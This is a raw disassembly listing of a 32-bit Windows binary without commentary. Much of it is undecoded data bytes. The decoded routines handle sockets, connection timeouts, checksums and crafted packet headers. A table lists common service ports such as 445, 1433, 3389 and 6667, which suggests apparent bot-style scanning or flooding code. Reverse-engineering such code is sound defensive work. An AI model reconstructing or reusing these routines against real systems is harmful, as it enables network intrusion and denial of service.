dd 146AE845h, 74858D50h, 50FFFFFFh, 7D63E8h, 8D046A00h
dd 50538845h, 6FB7E8h, 44C48300h, 0FF60858Dh, 286AFFFFh
dd 5CE9E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh
dd 0E850FFFFh, 7D30h, 8D14C483h, 106ABC45h, 858D5350h
dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4C9368h, 74FFF883h
dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 939C15FFh, 15FF004Ch
dd 4C9298h, 0C4858D50h, 0FFFFFFFDh, 68500875h, 4373A4h
dd 0FBC0858Dh, 68FFFFh, 50000002h, 7327E8h, 18C48300h
dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4A5Eh
dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h
dd 68ABE8FFh, 5959FFFFh, 0D9E89053h, 0FF022DB1h, 15FFFC75h
dd 4C939Ch, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah
dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h
dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 437354h, 719CE850h
dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h
dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h
dd 0FF49CDE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah
dd 0FF44B5FFh, 1AE8FFFFh, 59FFFF68h, 49E85359h, 90022DB1h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_414EE4
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414ED6: ; CODE XREF: ___:00414EDEj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414ED6
pop edi
cmp eax, 1
loc_414EE4: ; CODE XREF: ___:00414ECAj
jnz short loc_414EF1
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_414EF1: ; CODE XREF: ___:loc_414EE4j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
word_414F0A dw 8B55h ; DATA XREF: sub_401AC7+6C61o
dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
dd 0BEE850FFh, 5900006Fh, 70858D50h, 50FFFFFEh, 934415FFh
dd 8D50004Ch, 0FFFE6CB5h, 94EC81FFh, 6A000001h, 0FC8B5965h
dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 8068FFFFh, 50004374h
dd 7091E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0C3E8FFFFh
dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D40E850h, 75FF0000h
dd 6713E8F0h, 5959FFFFh, 41E89056h, 55022DB0h, 0EC81EC8Bh
dd 0CCh, 358B5653h, 4270B8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h
dd 6A036A00h, 0F0458902h, 938415FFh, 4589004Ch, 50D6FFF8h
dd 7063E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7DE8h, 50595900h
dd 50D8458Dh, 6CFFE8h, 0CC48300h, 5A0BEh, 0AE89000h, 2B0228B7h
dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h
dd 4CCAC01Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h
dd 6CC0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h
dd 4C92A8h, 0FF68h, 0E8016A00h, 3B12h, 45B60F50h, 0B60F509Eh
dd 0F509D45h, 509C45B6h, 0FF34858Dh, 1068FFFFh, 500042D9h
dd 6F75E8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4CC4A068h
dd 79E85000h, 59000075h, 34858D59h, 50FFFFFFh, 934415FFh
dd 4589004Ch, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h
dd 930415FFh, 8966004Ch, 8BE8AE45h, 6600006Fh, 8BB04589h
dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h
dd 0B545C640h, 5D896606h, 0BC4589B6h, 6F61E8h, 45896600h
dd 6F58E8C0h, 89660000h, 4FE8C245h, 8900006Fh, 47E8C445h
dd 8900006Fh, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h
dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah, 8D8C4589h
dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h
dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h
dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh, 8C68BC45h
dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h
dd 0E89006FFh, 7169C5AEh, 5E858966h, 8DFFFFFFh, 0FFFF6085h
dd 50146AFFh, 50C0458Dh, 78FFE8h, 74858D00h, 57FFFFFFh
dd 0D8458D50h, 78EEE850h, 858D0000h, 0FFFFFF54h, 59868h
dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h, 5088458Dh
dd 0A8458D53h, 75FF5056h, 6815FFF8h, 0FF004C93h, 22E9FC45h
dd 0FFFFFFFEh, 15FFF875h, 4C939Ch, 5FFC458Bh, 0C3C95B5Eh
dword_415208 dd 81EC8B55h, 414ECh, 8558B00h, 85B856h, 8B570000h, 8DF28BC8h
; DATA XREF: sub_401AC7+4BE2o
dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h
dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h
dd 68FFFFFBh, 4374B4h, 6DACE850h, 0C4810000h, 220h, 0FBEC858Dh
dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF6455h, 6A5959h
dd 0AD82E890h, 8B55022Dh, 54EC81ECh, 53000002h, 0FFBB56h
dd 53570000h, 26A036Ah, 938415FFh, 0F883004Ch, 0F44589FFh
dd 858D1A75h, 0FFFFFDACh, 4376A468h, 53E85000h, 5900006Dh
dd 0E959FF33h, 2C6h, 6AEC4D8Dh, 0FF335104h, 5057026Ah
dd 1EC45C7h, 0FF000000h, 4C92E415h, 0FFF88300h, 15FF0E75h
dd 4C9298h, 76546850h, 1BEB0043h, 500C458Dh, 934415FFh
dd 0F883004Ch, 0FF2075FFh, 4C929815h, 10685000h, 8D004376h
dd 0FFFDAC85h, 0F7E850FFh, 8300006Ch, 6BE90CC4h, 57000002h
dd 0DC45C766h, 15FF0002h, 4C9304h, 0DE458966h, 500C458Dh
dd 69BFC7E8h, 358B9071h, 4270B8h, 0FFE04589h, 0F84589D6h
dd 500C458Dh, 0FDAC858Dh, 0E468FFFFh, 50004375h, 6CB1E8h
dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh
dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF44E5E8h, 14C483FFh
dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
dd 10C85h, 5AE85000h, 3B00006Bh, 870F59F0h, 191h, 41CBEh
dd 0BB05EB00h, 0FFh, 0CAC03D39h, 5075004Ch, 8958106Ah
dd 8D50F045h, 5057CC45h, 6943E8h, 0CC48300h, 50F0458Dh
dd 50CC458Dh, 0FF0875FFh, 4C92A815h, 16A5300h, 3799E8h
dd 0B60F5000h, 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h
dd 42D91068h, 0FFE85000h, 8300006Bh, 10EB20C4h, 68AC458Dh
dd 4CC4A0h, 7206E850h, 59590000h, 0A005C656h, 45004CC6h
dd 930415FFh, 0A366004Ch, 4CC6A2h, 50AC458Dh, 0A405C766h
dd 1004CC6h, 3D896600h, 4CC6A6h, 0C6A805C6h, 0C680004Ch
dd 4CC6A905h, 89661100h, 4CC6AA3Dh, 4415FF00h, 0A3004C93h
dd 4CC6ACh, 0A3E0458Bh, 4CC6B0h, 8C858Dh, 66500000h, 0C6BA3D89h
dd 7AE8004Ch, 8500006Ah, 107559C0h, 6BD9E8h, 1B99900h
dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6A59h, 15FF5059h
dd 4C9304h, 0C6B6A366h, 0AFE8004Ch, 9900006Bh, 401B9h
dd 4086800h, 0F9F70000h, 0B4158966h, 0FF004CC6h, 4C930415h
dd 4006800h, 0A3660000h, 4CC6B8h, 6B85E8h, 0FBF79900h
dd 0C6BC6852h, 25E8004Ch, 83000068h, 458D0CC4h, 50106ADCh
dd 0A0685657h, 0FF004CC6h, 15FFF475h, 4C9368h, 0FFFF883h
dd 0A484h, 0FC45FF00h, 0B213E890h, 452B0228h, 0B9D233F8h
dd 3E8h, 0D88BF1F7h, 10C858Dh, 0E8500000h, 69C9h, 0F59D83Bh
dd 0FFFE7686h, 0F475FFFFh, 939C15FFh, 758B004Ch, 0C858DFCh
dd 50000001h, 41CF669h, 0A2E80000h, 8B000069h, 0C1C68BC8h
dd 0D2330AE8h, 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch
dd 0FFFFFDACh, 43758068h, 87E85000h, 8300006Ah, 0BD391CC4h
dd 214h, 8D572075h, 0FFFDAC85h, 10B5FFFFh, 50000002h, 18C858Dh
dd 0FF500000h, 0BBE80875h, 83FFFF42h, 5E5F14C4h, 0C95BC033h
dd 0FC75FFC3h, 9815FF56h, 50004C92h, 500C458Dh, 0FDAC858Dh
dd 0F468FFFFh, 50004374h, 6A35E8h, 18C48300h
db 0EBh, 0ACh
word_4155D6 dw 8B55h ; DATA XREF: sub_401AC7+62C1o
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 68F0E8h
dd 8D505900h, 0FFFE7085h, 0E2E850FFh, 59000068h, 0F0858D50h
dd 50FFFFFDh, 934415FFh, 0E850004Ch, 144h, 0EC858D50h
dd 68FFFFFBh, 4376D0h, 69C8E850h, 0F6330000h, 3918C483h
dd 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h, 0FFFF7085h
dd 0B5FF50FFh, 0FFFFFDECh, 0FF41FDE8h, 14C483FFh, 0FBEC858Dh
dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF604Dh, 90565959h
dd 2DA97BE8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_4156B0
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
nop
call near ptr 71AB3E5Dh
jmp loc_41576C
; ---------------------------------------------------------------------------
loc_4156B0: ; CODE XREF: ___:0041569Aj
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
nop
call near ptr 71AB155Ah
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4C92AC
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4C92EC
test eax, eax
jnz short loc_415714
or eax, 0FFFFFFFFh
jmp short loc_41576C
; ---------------------------------------------------------------------------
loc_415714: ; CODE XREF: ___:0041570Dj
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_41571F
loc_41571B: ; CODE XREF: ___:0041573Fj
; ___:00415763j
mov eax, edi
jmp short loc_41576C
; ---------------------------------------------------------------------------
loc_41571F: ; CODE XREF: ___:00415719j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426636
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_415741
lea eax, [ebp-210h]
push eax
push esi
call sub_426636
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_41571B
loc_415741: ; CODE XREF: ___:0041572Ej
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
nop
call near ptr 71AB4122h
cmp eax, edi
jz short loc_41571B
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_41576C: ; CODE XREF: ___:004156ABj
; ___:00415712j ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
dd 81EC8B55h, 10CECh, 57565300h, 3358016Ah, 535350DBh
dd 0FF68h, 6A036A00h, 0EC458902h, 26BE890h, 4D8D716Ah
dd 51046AECh, 5053026Ah, 4CCB30A3h, 0E415FF00h, 8B004C92h
dd 4270B835h, 50D6FF00h, 689FE8h, 0C0335900h, 0BD8D196Ah
dd 0FFFFFF00h, 0F49D8959h, 89FFFFFEh, 9D89844Dh, 0FFFFFEF8h
dd 0FEFC9D89h, 85C7FFFFh, 0FFFFFF74h, 401h, 0FF7885C7h
dd 15FFFFh, 85C70000h, 0FFFFFF7Ch, 16h, 178045C7h, 0C7000000h
dd 358845h, 45C70000h, 508Ch, 9045C700h, 51h, 589445C7h
dd 0C7000000h, 6E9845h, 45C70000h, 719Ch, 0A045C700h, 77h
dd 87A445C7h, 0C7000000h, 89A845h, 45C70000h, 8BACh, 0B045C700h
dd 8Fh, 0BBB445C7h, 0C7000001h, 1BDB845h, 45C70000h, 400BCh
dd 0C045C700h, 599h, 0DCC445C7h, 0C7000005h, 6B8C845h
dd 45C70000h, 0CEACCh, 0D045C700h, 0D3Dh, 88D445C7h, 0C7000013h
dd 1A0BD845h, 45C70000h, 1F40DCh, 0E045C700h, 1F90h, 5D89ABF3h
dd 0E445C7F0h, 3, 0B8E845C7h, 8900000Bh, 458BFC5Dh, 85C76608h
dd 0FFFFFF64h, 85890002h, 0FFFFFF68h, 8DFC458Bh, 0FF7405BCh
dd 8B66FFFFh, 0FF740584h, 0FF50FFFFh, 4C930415h, 16A5300h
dd 8966026Ah, 0FFFF6685h, 8415FFFFh, 8D004C93h, 4589E44Dh
dd 8D8D51F4h, 0FFFFFF64h, 5051106Ah, 0FFFD7EE8h, 10C483FFh
dd 0FFF84589h, 15FFF475h, 4C939Ch, 75F85D39h, 0FC4D8B0Ch
dd 8489078Bh, 0FFFEF40Dh, 0FC4583FFh, 0FC7D8304h, 0BF837C70h
dd 4CCB34h, 42CDCC68h, 0C3E85700h, 59000066h, 89D6FF59h
dd 858DF445h, 0FFFFFEF4h, 89FC5D89h, 0D6FFF845h, 33F4452Bh
dd 3E8B9D2h, 0F1F70000h, 770C453Bh, 0F8458B45h, 0C33B008Bh
dd 57501574h, 4376FC68h, 45895700h, 6684E8F0h, 0C4830000h
dd 681AEB10h, 0FFFFh, 31F0E853h, 59590000h, 415FF50h, 0F004C93h
dd 4589C0B7h, 0FC45FFF0h, 4F84583h, 1CFC7D83h, 286AA87Ch
dd 0CAD06853h, 55E8004Ch, 0BE000063h, 0FFFFh, 0CAD005C6h
dd 5645004Ch, 40068h, 0D905C600h, 6004CCAh, 0CAD105C6h
dd 0E808004Ch, 31A2h, 5014C483h, 930415FFh, 286A004Ch
dd 0CAD4A366h, 15FF004Ch, 4C9304h, 0CAD80D80h, 39FF004Ch
dd 4CCAC01Dh, 0D2A36600h, 66004CCAh, 0CAD61D89h, 1A75004Ch
dd 0FFFE68h, 0E8016A00h, 3162h, 4D8B5959h, 10E0C108h, 0C10BCE23h
dd 0A0680BEBh, 0FF004CC4h, 4C934415h, 0CADCA300h, 458B004Ch
dd 40006808h, 0E0A30000h, 88004CCAh, 4CCAF11Dh, 415FF00h
dd 56004C93h, 0F2A36653h, 0E8004CCAh, 311Eh, 5356F88Bh
dd 0E808E7C1h, 3112h, 310C483h, 15FF57F8h, 4C9300h, 4CCAE8A3h
dd 0CAF0A000h, 7D8B004Ch, 0C0F2408h, 0A2146A50h, 4CCAF0h
dd 0F0458B66h, 0CAEC1D89h, 8966004Ch, 4CCAF61Dh, 0E6A36600h
dd 89004CCAh, 4CCB0C3Dh, 101D8800h, 0C6004CCBh, 4CCB1105h
dd 15FF0600h, 4C9304h, 0CB12A366h, 0A166004Ch, 4CCAE6h
dd 0F805C766h, 2004CCAh, 0FC3D8900h, 66004CCAh, 4CCAFAA3h
dd 0FC5D8900h, 0FFBE05EBh, 390000FFh, 2F75FC5Dh, 87E85356h
dd 59000030h, 15FF5059h, 4C9304h, 0CAE4A366h, 0DCA1004Ch
dd 0A3004CCAh, 4CCB08h, 0CAF105C6h, 8902004Ch, 4CCAEC1Dh
dd 561FEB00h, 0F105C653h, 10004CCAh, 3051E8h, 50595900h
dd 930415FFh, 0B70F004Ch, 0CAECA3C0h, 0FF66004Ch, 4CCAD405h
dd 0E805FF00h, 66004CCAh, 4CCAE6A1h, 59056A00h, 4CCAE4BEh
dd 0CB14BF00h, 8966004Ch, 4CCADA1Dh, 1D896600h, 4CCAF4h
dd 0A5F3146Ah, 4CCAD0BEh, 0FAA36600h, 56004CCAh, 0FF4ECEE8h
dd 68206AFFh, 4CCB08h, 0CADAA366h, 0BCE8004Ch, 83FFFF4Eh
dd 0A36610C4h, 4CCAF4h, 0F868106Ah, 53004CCAh, 0FF56286Ah
dd 4CCB3035h, 6815FF00h, 0FF004C93h, 7D81FC45h, 3FFFCh
dd 238C0F00h, 90FFFFFFh, 28AB5CE8h, 0F4452B02h, 0E8B9D233h
dd 0F7000003h, 0C453BF1h, 75FF0E77h, 34E89010h, 0E90226A9h
dd 0FFFFFDC2h, 34B85E5Fh, 5B004CCBh
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BF6 proc near ; CODE XREF: sub_401AC7+710Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43B4C0
mov edi, 0B8h
loc_415C0A: ; CODE XREF: sub_415BF6+33j
cmp byte ptr [esi], 0
jz short loc_415C2D
push [ebp+arg_0]
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_415C2D
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43C040
jl short loc_415C0A
jmp short loc_415C6F
; ---------------------------------------------------------------------------
loc_415C2D: ; CODE XREF: sub_415BF6+17j
; sub_415BF6+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43B4C0[esi]
push ebx
call sub_41BD10
push 17h
push [ebp+arg_0]
push ebx
call sub_41BD70
push 9Fh
lea eax, dword_43B4D8[esi]
push [ebp+arg_4]
push eax
call sub_41BD70
add esp, 24h
inc dword_4294D0
pop ebx
loc_415C6F: ; CODE XREF: sub_415BF6+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415BF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C76 proc near ; CODE XREF: sub_401AC7+2880p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_437718
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
xor edi, edi
mov esi, offset dword_43B4C0
loc_415CA0: ; CODE XREF: sub_415C76+72j
cmp byte ptr [esi], 0
jz short loc_415CDB
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_437704
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41C100
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 2Ch
loc_415CDB: ; CODE XREF: sub_415C76+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43C040
jl short loc_415CA0
pop edi
pop esi
leave
retn
sub_415C76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CEE proc near ; CODE XREF: ___:004015A2p
; ___:00401623p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 27B0000h
mov ebx, offset dword_4D0F34
mov edi, 80h
mov esi, offset dword_4CCF34
loc_415D10: ; CODE XREF: sub_415CEE+3Dj
cmp byte ptr [ebx], 0
jz short loc_415D27
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BD70
add esp, 0Ch
loc_415D27: ; CODE XREF: sub_415CEE+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415D10
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41C100
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415CEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D62 proc near ; CODE XREF: sub_4017E7+F7p
; sub_401AC7:loc_408954p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C900
lea eax, [ebp+var_80]
push eax
call sub_415CEE
add esp, 14h
leave
retn
sub_415D62 endp
; =============== S U B R O U T I N E =======================================
sub_415D8E proc near ; CODE XREF: sub_401AC7+2777p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CCF34
xor ecx, ecx
loc_415D95: ; CODE XREF: sub_415D8E+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D0F34
jl short loc_415D95
cmp [esp+arg_C], ecx
jnz short loc_415DC3
push ecx
push [esp+4+arg_8]
push offset dword_437764
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409862
add esp, 14h
loc_415DC3: ; CODE XREF: sub_415D8E+19j
push offset dword_437750
call sub_415CEE
pop ecx
retn
sub_415D8E endp
; =============== S U B R O U T I N E =======================================
sub_415DCF proc near ; CODE XREF: ___:0040E1F0p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_4CCF34
loc_415DD5: ; CODE XREF: sub_415DCF+27j
cmp byte ptr [esi], 0
jz short loc_415DEA
push [esp+4+arg_0]
push esi
call sub_418584
pop ecx
test eax, eax
pop ecx
jnz short loc_415DFC
loc_415DEA: ; CODE XREF: sub_415DCF+9j
add esi, 80h
cmp esi, offset dword_4D0F34
jl short loc_415DD5
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415DFC: ; CODE XREF: sub_415DCF+19j
push 1
pop eax
pop esi
retn
sub_415DCF endp
; ---------------------------------------------------------------------------
byte_415E01 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+282Ao
; ---------------------------------------------------------------------------
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_415E54
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_437794
push eax
push dword ptr [ebp-11Ch]
call sub_409862
add esp, 14h
loc_415E54: ; CODE XREF: ___:00415E34j
cmp byte ptr [ebp-98h], 0
jz short loc_415E74
lea eax, [ebp-98h]
push eax
call sub_41BEF9
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_415E74
mov [ebp-8], eax
loc_415E74: ; CODE XREF: ___:00415E5Bj
; ___:00415E6Fj
and dword ptr [ebp+8], 0
mov esi, offset dword_4CCF34
loc_415E7D: ; CODE XREF: ___:00415ED5j
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415ED7
cmp byte ptr [esi], 0
jz short loc_415EC6
cmp byte ptr [ebp-98h], 0
jz short loc_415EAC
cmp dword ptr [ebp-4], 0
jnz short loc_415EAC
lea eax, [ebp-98h]
push eax
push esi
call sub_418584
pop ecx
test eax, eax
pop ecx
jz short loc_415EC6
loc_415EAC: ; CODE XREF: ___:00415E91j
; ___:00415E97j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409862
add esp, 14h
loc_415EC6: ; CODE XREF: ___:00415E88j
; ___:00415EAAj
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D0F34
jl short loc_415E7D
loc_415ED7: ; CODE XREF: ___:00415E83j
lea eax, [ebp-31Ch]
push offset dword_437778
push eax
call sub_41C006
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_415F11
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409862
add esp, 14h
loc_415F11: ; CODE XREF: ___:00415EEFj
lea eax, [ebp-31Ch]
push eax
call sub_415CEE
push dword ptr [ebp-18h]
call sub_40B6C9
pop ecx
pop ecx
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h, 0D2h, 0A0h
dd 5E5F022Dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F30 proc near ; CODE XREF: ___:004165D5p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4C9384
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415FAC
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BD10
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4C9304
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4C9344
cmp eax, esi
jnz short loc_415F91
push [ebp+arg_0]
call dword_4C9388
test eax, eax
jz short loc_415FAC
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415F91: ; CODE XREF: sub_415F30+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4C92AC
cmp eax, esi
jnz short loc_415FB0
push edi
call dword_4C939C
loc_415FAC: ; CODE XREF: sub_415F30+1Bj
; sub_415F30+58j
mov eax, esi
jmp short loc_415FB2
; ---------------------------------------------------------------------------
loc_415FB0: ; CODE XREF: sub_415F30+73j
mov eax, edi
loc_415FB2: ; CODE XREF: sub_415F30+7Ej
pop edi
pop esi
leave
retn
sub_415F30 endp
; ---------------------------------------------------------------------------
word_415FB6 dw 8B55h ; DATA XREF: sub_401AC7+9F6o
dd 11B4B8ECh, 0DDE80000h, 8B000062h, 56530845h, 8B6D6A57h
dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
dd 8D527559h, 0FFEE4C85h, 781468FFh, 0E8500043h, 5FFEh
dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh
dd 0FF6C858Dh, 5350FFFFh, 0FF3839E8h, 14C483FFh, 0EE4C858Dh
dd 0E850FFFFh, 0FFFFFCB6h, 0E8F075FFh, 0FFFF5689h, 90565959h
dd 2D9FB7E8h, 0B4B86802h, 0E8530043h, 40FEh, 0FFF88359h
dd 8D597559h, 0FFEE4C85h, 77E468FFh, 0E8500043h, 5F9Ah
dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh
dd 0FF6C858Dh, 5350FFFFh, 0FF37D5E8h, 14C483FFh, 0EE4C858Dh
dd 0E850FFFFh, 0FFFFFC52h, 15FF5359h, 4C939Ch, 0E8F075FFh
dd 0FFFF561Dh, 0E8905659h, 22D9F4Ch, 60E8646Ah, 900226A4h
dd 0BEFF33h, 56000010h, 0EE4C858Dh, 5057FFFFh, 5C3FE8h
dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h, 4C931Ch
dd 387EC085h, 0EE4C858Dh, 8468FFFFh, 500042A0h, 6537E8h
dd 4C858D00h, 50FFFFEEh, 3E39E8h, 0CC48300h, 1474C085h
